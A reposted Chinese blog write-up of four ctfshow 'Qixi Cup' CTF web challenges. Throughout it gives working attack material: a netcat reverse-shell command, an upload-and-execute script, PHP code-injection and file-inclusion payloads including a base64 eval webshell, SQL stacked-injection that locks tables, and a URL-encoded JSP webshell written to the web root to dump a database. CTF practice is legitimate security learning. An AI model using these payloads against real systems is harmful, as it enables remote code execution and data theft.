文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

ctfshow 七夕杯(复现)

2023-09-07 21:01

关注

1、签到题

(限制长度的命令执行 七字符、五字符、四字符)
网页源码中存在提示,限制长度为7字符

 function isSafe(cmd){    return cmd.length<=7;}

1.1 直接命令执行

nl *  # 这个命令刚好七个字符,会把tmp目录下所有的文件当sh文件执行

文件内容写一个nc连接,如果返回内容卡住,说明命令执行成功

nc ip port -e /bin/sh

写脚本过程中发现不太会写上传文件操作,于是去看查,可以知道上传文件的主要语句为

file = {"file":("filename.txt",oepn("file-path",'rb'))}requests.post(url, file)# 或者直接写文件内容file ={"file":"nc ip port -e sh"}
import requests as requrl = "http://41f860bd-aa73-4ab4-91c0-4081f1d7ac5d.challenge.ctf.show/api/tools.php"data = {"cmd":". /t*/*"}file = {'file':("bash.txt",open(r"D:\Sec\CTF\CTF_GAME\08_24_ctfshow\限制长度命令执行\bash.txt",'rb'))}response = req.post(url=url,data=data,files=file)print(response.text)

上传临时文件并执行,在shell中拿flag

2、ez_calc

首页给了源码,可以进行源码分析

if(check($code)){    eval('$result='."$code".";");    echo($result);    }function check(&$code){    $num1=$_POST['num1'];    $symbol=$_POST['symbol'];    $num2=$_POST['num2'];    if(!isset($num1) || !isset($num2) || !isset($symbol) ){                return false;    }    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){        return false;    }    if(preg_match("/^[\+\-\*\/]$/", $symbol)){        $code = "$num1$symbol$num2";        return true;    }    return false;}

最终执行命令的语句是 $num1$symbol$num2 拼接起来的,而且过滤()不能调用函数,所以根据语言结构是 include、require、echo这种语句,试着去包含文件。这个题可以理解为注入,在整个计算语句中注入我们想要执行的命令语句,只不过是过滤()之后不能调用函数执行

没有过滤 /,用include去包含一下 /etc/passwd 可以成功得到回显

num1=1;include "/etc/passwd";1&symbol=-&num2=2

2.1 包含日志文件

去包含日志文件,看下是否有flag,没有flag,试着另外的办法
nginx日志文件的一般目录是

/var/log/nginx/access.log/var/log/nginx/access.lognginx -t 获取配置文件路径

apache日志文件的一般目录是

/var/log/apache2/access.log

可以往日志写shell然后包含,拿flag

http的url位置会对<>进行编码,尝试别的地方,发现User-Agent没有编码,可以写入语句,但是写入之后报错,原因在于使用了",导致语句因为"闭合而报错

正确的是使用单引号

2.2 利用伪协议进行命令执行

利用data伪协议进行包含与命令执行

data://text/plain,data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+  注释:<?php phpinfo();?> 这个payload中的加号 需要编码,否则识别成空格,这个base语句就无法被解析data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== 注释:<?php phpinfo(); php文件中末尾的?>可以省去,或者多加空格,将+消去

在这里插入图片描述

num1=1;include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";1&symbol=/&num2=1

GET

?1=system('cat /*');

3、ez_cmd

直接nc连接即可,但要注意 参数放后面,放前面有可能不执行

nc ip port -e /bin/sh

预期解法是不出网,可能解法?

4、easql

4.1、收集信息

SageUtil类中有过滤函数

String[] ban = new String[]{"'", "file", "information", "mysql", "from", "update", "delete", "select", ",", "union", "sleep", "("};for(int var4 = 0; var4 < var3; ++var4){    String s = var2[var4];    if (sql.contains(s)){        return true;    }}

配置文件中有开启多语句查询

url=jdbc:mysql://127.0.0.1:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTCdb_username=rootdb_password=root

存在拼接的语句如下

String sql = "select username,password from app_user where username ='" + username + "' and password ='" + password + "' ;";

4.2、寻找解题方法

暂时的思路

注:第四题第一点和第二点是自己在做题时候写的,下面是复现的内容

4.3、题目预期解题方法

4.3.1 锁表

username=a\&password=;flush tables with read lock;%23

4.3.2 写入shell

因为过滤(),通过jstl来写一个连接数据库的jsp并且回显的小马

<%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%><%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql"%><%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%><%@ page isELIgnored="false" %><sql:setDataSource var="test" driver="${param.driver}"        url="${param.url}" user="root" password="root" />   <sql:query dataSource="${test}" var="result">        ${param.sql}    sql:query><table border="1" width="100%">        <tr>            <th>ctfshowth>        tr>        <c:forEach var="row" items="${result.rows}">            <tr>                <td><c:out value="${row.t}" />td>            tr>        c:forEach>    table>
username=%3C%25%40%20page%20language%3D%22java%22%20contentType%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%0A%20%20%20%20pageEncoding%3D%22UTF-8%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fsql%22%20prefix%3D%22sql%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fcore%22%20prefix%3D%22c%22%25%3E%0A%3C%25%40%20page%20isELIgnored%3D%22false%22%20%25%3E%0A%3Csql%3AsetDataSource%20var%3D%22test%22%20driver%3D%22%24%7Bparam.driver%7D%22%0A%20%20%20%20%20%20%20%20url%3D%22%24%7Bparam.url%7D%22%20user%3D%22root%22%20password%3D%22root%22%20%2F%3E%0A%20%20%20%3Csql%3Aquery%20dataSource%3D%22%24%7Btest%7D%22%20var%3D%22result%22%3E%0A%20%20%20%20%20%20%20%20%24%7Bparam.sql%7D%0A%20%20%20%20%3C%2Fsql%3Aquery%3E%0A%0A%0A%0A%3Ctable%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%20%20%20%20%20%20%20%20%3Ctr%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3Et%3C%2Fth%3E%0A%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3Cc%3AforEach%20var%3D%22row%22%20items%3D%22%24%7Bresult.rows%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%3Cc%3Aout%20value%3D%22%24%7Brow.t%7D%22%20%2F%3E%3C%2Ftd%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3C%2Fc%3AforEach%3E%0A%20%20%20%20%3C%2Ftable%3E&password=../webapps/ROOT/1.jsp

然后访问1.jsp,并且连接数据库,联合查询得到flag

查表

1.jsp?driver=com.mysql.jdbc.Driver&url=jdbc:mysql://localhost:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC&sql=select group_concat(table_name) as t from information_schema.tables where table_schema="app";

中间还有读字段省略了
读flag

/1.jsp?driver=com.mysql.jdbc.Driver&url=jdbc:mysql://localhost:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC&sql=select%20f1ag%20as%20t%20from%20app_flag_xxoo_non0%20union%20select%201;

参考链接
1.官方WP
2.限制长度的命令执行
3.PHP文件包含总结
4.https://www.extrader.top/posts/d991f96a/#%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8
5.https://xz.aliyun.com/t/10594#toc-5
6.sql写shell参考文章
7.jsp马

来源地址:https://blog.csdn.net/Little_jcak/article/details/126203886

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯